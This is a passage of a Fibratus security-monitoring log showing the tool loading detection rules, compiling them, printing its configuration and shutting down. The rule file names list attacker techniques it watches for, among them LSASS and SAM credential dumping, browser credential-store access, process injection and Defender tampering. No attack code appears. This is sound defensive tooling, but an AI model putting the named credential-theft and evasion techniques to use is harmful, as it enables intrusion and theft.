C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T20:39:00+01:00 level=info msg=bootstrapping with pid 19296. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T20:39:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false enable-fileio=>true enable-dns=>false enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-vamap=>true flush-interval=>1s enable-net=>true enable-registry=>true buffer-size=>512 enable-image=>true min-buffers=>16 enable-thread=>true stack-enrichment=>true enable-mem=>false enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 max-age=>0 log-stdout=>true max-backups=>15 formatter=>text] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enable-gzip=>false timeout=>5s enabled=>false method=>POST] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck-timeout=>5s timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus sniff=>false template-name=>fibratus healthcheck-interval=>10s healthcheck=>true gzip-compression=>false flush-period=>1s bulk-workers=>1 trace-log=>false] amqp=>[ enabled=>false durable=>false exchange-type=>topic timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ passive=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false fastscan=>true excluded-procs=>[] excluded-files=>[] skip-registry=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T20:39:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:39:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:41:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T20:41:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:41:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:41:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T20:41:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml 